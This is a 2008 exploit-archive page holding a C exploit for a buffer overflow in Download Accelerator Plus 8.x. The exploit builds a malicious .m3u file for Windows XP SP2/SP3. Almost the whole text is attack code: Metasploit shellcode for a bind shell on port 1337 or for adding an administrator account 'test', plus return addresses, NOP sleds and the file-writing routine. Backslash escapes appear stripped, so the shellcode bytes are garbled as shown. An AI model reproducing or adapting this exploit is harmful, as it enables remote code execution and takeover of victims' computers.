Home / exploitsPDF  

dap8x-overflow.txt

Posted on 12 July 2008

#include <stdio.h> #include <stdlib.h> /* DAP 8.x (.m3u) File BOF C Exploit for XP SP2,SP3 English SecurityFocus Advisory: Download Accelerator Plus (DAP) is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application.Failed exploit attempts will cause denial-of-service conditions. Vulnerability discoverd by Krystian Kloskowski (h07) <h07@interia.pl> Original POC by h07 http://www.milw0rm.com/exploits/6030 This poc will create a "special" .m3u file that when imported in DAP and then checked with the verifiy button will cause a buffer overflow and lead to exploitation.Run the program with no args for usage info or just look in the code. :P Tested on Windows XP English sp2&sp3. C Exploit code by Shinnok raydenxy [at] yahoo dot com /* /* win32_bind - EXITFUNC=seh LPORT=1337 Size=709 Encoder=PexAlphaNum http://metasploit.com */ unsigned char bind_scode[] = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx46x4bx4e" "x4dx54x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x36x4bx58" "x4ex36x46x32x46x52x4bx48x45x34x4ex43x4bx48x4ex57" "x45x30x4ax47x41x30x4fx4ex4bx38x4fx34x4ax51x4bx48" "x4fx35x42x32x41x50x4bx4ex49x34x4bx38x46x33x4bx38" "x41x50x50x4ex41x43x42x4cx49x39x4ex4ax46x58x42x4c" "x46x37x47x30x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e" "x46x4fx4bx33x46x45x46x52x4ax42x45x57x45x4ex4bx58" "x4fx55x46x42x41x50x4bx4ex48x56x4bx38x4ex30x4bx44" "x4bx48x4fx55x4ex31x41x30x4bx4ex43x30x4ex52x4bx48" "x49x38x4ex36x46x32x4ex51x41x36x43x4cx41x33x4bx4d" "x46x36x4bx38x43x54x42x53x4bx38x42x34x4ex50x4bx58" "x42x47x4ex51x4dx4ax4bx58x42x34x4ax50x50x55x4ax36" "x50x58x50x34x50x50x4ex4ex42x45x4fx4fx48x4dx48x56" "x43x55x48x56x4ax36x43x53x44x33x4ax46x47x37x43x47" "x44x53x4fx55x46x45x4fx4fx42x4dx4ax36x4bx4cx4dx4e" "x4ex4fx4bx53x42x35x4fx4fx48x4dx4fx55x49x48x45x4e" "x48x56x41x48x4dx4ex4ax30x44x30x45x35x4cx36x44x50" "x4fx4fx42x4dx4ax56x49x4dx49x30x45x4fx4dx4ax47x55" "x4fx4fx48x4dx43x45x43x55x43x45x43x35x43x55x43x44" "x43x45x43x34x43x55x4fx4fx42x4dx48x56x4ax36x45x50" "x49x43x48x56x43x45x49x58x41x4ex45x49x4ax56x46x4a" "x4cx31x42x37x47x4cx47x55x4fx4fx48x4dx4cx36x42x31" "x41x35x45x35x4fx4fx42x4dx4ax36x46x4ax4dx4ax50x42" "x49x4ex47x35x4fx4fx48x4dx43x45x45x45x4fx4fx42x4d" "x4ax36x45x4ex49x34x48x48x49x44x47x55x4fx4fx48x4d" "x42x55x46x55x46x45x45x35x4fx4fx42x4dx43x39x4ax56" "x47x4ex49x37x48x4cx49x37x47x55x4fx4fx48x4dx45x45" "x4fx4fx42x4dx48x56x4cx46x46x46x48x56x4ax46x43x46" "x4dx46x49x38x45x4ex4cx36x42x35x49x55x49x42x4ex4c" "x49x58x47x4ex4cx46x46x54x49x58x44x4ex41x53x42x4c" "x43x4fx4cx4ax50x4fx44x54x4dx42x50x4fx44x34x4ex42" "x43x59x4dx48x4cx37x4ax53x4bx4ax4bx4ax4bx4ax4ax56" "x44x57x50x4fx43x4bx48x41x4fx4fx45x47x46x44x4fx4f" "x48x4dx4bx45x47x55x44x55x41x35x41x55x41x35x4cx46" "x41x50x41x35x41x45x45x55x41x45x4fx4fx42x4dx4ax36" "x4dx4ax49x4dx45x30x50x4cx43x45x4fx4fx48x4dx4cx46" "x4fx4fx4fx4fx47x33x4fx4fx42x4dx4bx58x47x35x4ex4f" "x43x58x46x4cx46x46x4fx4fx48x4dx44x55x4fx4fx42x4d" "x4ax56x42x4fx4cx58x46x30x4fx55x43x35x4fx4fx48x4d" "x4fx4fx42x4dx5a"; /* win32_adduser - PASS=test EXITFUNC=seh USER=test Size=489 Encoder=PexAlphaNum http://metasploit.com */ unsigned char user_scode[] = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34" "x42x50x42x30x42x50x4bx38x45x44x4ex33x4bx58x4ex57" "x45x50x4ax57x41x50x4fx4ex4bx38x4fx34x4ax31x4bx58" "x4fx35x42x52x41x50x4bx4ex49x54x4bx48x46x33x4bx48" "x41x50x50x4ex41x53x42x4cx49x39x4ex4ax46x48x42x4c" "x46x47x47x30x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e" "x46x4fx4bx33x46x45x46x42x46x30x45x47x45x4ex4bx48" "x4fx35x46x42x41x50x4bx4ex48x46x4bx58x4ex50x4bx54" "x4bx58x4fx55x4ex31x41x30x4bx4ex4bx38x4ex41x4bx58" "x41x30x4bx4ex49x48x4ex35x46x52x46x30x43x4cx41x43" "x42x4cx46x46x4bx58x42x34x42x43x45x38x42x4cx4ax47" "x4ex30x4bx58x42x44x4ex30x4bx58x42x57x4ex51x4dx4a" "x4bx48x4ax36x4ax50x4bx4ex49x50x4bx48x42x48x42x4b" "x42x30x42x30x42x30x4bx48x4ax36x4ex53x4fx55x41x43" "x48x4fx42x36x48x45x49x58x4ax4fx43x38x42x4cx4bx47" "x42x45x4ax36x42x4fx4cx58x46x30x4fx45x4ax36x4ax39" "x50x4fx4cx38x50x30x47x55x4fx4fx47x4ex43x56x4dx46" "x46x46x50x42x45x56x4ax47x45x46x42x52x4fx52x43x36" "x42x32x50x46x45x46x46x57x42x52x45x47x43x37x45x36" "x44x37x42x32x46x37x45x36x43x47x46x37x42x42x46x37" "x45x36x43x37x46x37x42x52x4fx52x41x44x46x54x46x44" "x42x52x48x42x48x32x42x32x50x36x45x56x46x57x42x42" "x4ex36x4fx36x43x56x41x36x4ex56x47x46x44x37x4fx36" "x45x37x42x37x42x42x41x34x46x46x4dx56x49x56x50x46" "x49x56x43x57x46x37x44x37x41x56x46x47x4fx56x44x37" "x43x57x42x52x46x47x45x56x43x37x46x47x42x32x4fx52" "x41x34x46x34x46x34x42x30x5a"; unsigned char ra_sp2[] = "xcfxbcx08x76"; //msvcp60.dll unsigned char ra_sp3[] = "xe1xbcx08x76"; //msvcp60.dll unsigned char nops1[14115]; //14115 * x90 unsigned char nops2[30]; //30 * x90 int main(int argc, char **argv) { int i; FILE* f; char* ra=NULL; char* scode=NULL; printf("[+] Download Accelerator Plus - DAP 8.x (.m3u) File Buffer Overflow Vulnerability "); printf("[+] Discovered by Krystian Kloskowski (h07) <h07@interia.pl> "); printf("[+] Code by Shinnok raydenxy[at]yahoo dot com "); if ((argc!=3)||((atoi(argv[1])!=0)&&(atoi(argv[1])!=1))||((atoi(argv[2])!=0)&&(atoi(argv[2])!=1))){ printf("Usage: %s target payload ",argv[0]); printf("Where target is: "); printf("0: WinXP SP2 "); printf("1: WinXP SP3 "); printf("Where payload is: "); printf("0: bind shell on 1337 "); printf("1: add admin user "test" with password "test" "); return EXIT_SUCCESS; } for(i=0;i<14115;i++) nops1[i]='x90'; nops1[14115]=''; for(i=0;i<30;i++) nops2[i]='x90'; nops2[30]=''; if(atoi(argv[1])==0) ra=ra_sp2; else ra=ra_sp3; if(atoi(argv[2])==0) scode=bind_scode; else scode=user_scode; f=fopen("sploit.m3u","wb"); fprintf(f,"http://localhost/%s%s%s%s.mp3%c%c",nops1,ra,nops2,scode,'xd','xa'); fflush(f); fclose(f); printf("sploit.m3u created! "); return EXIT_SUCCESS; }

 

TOP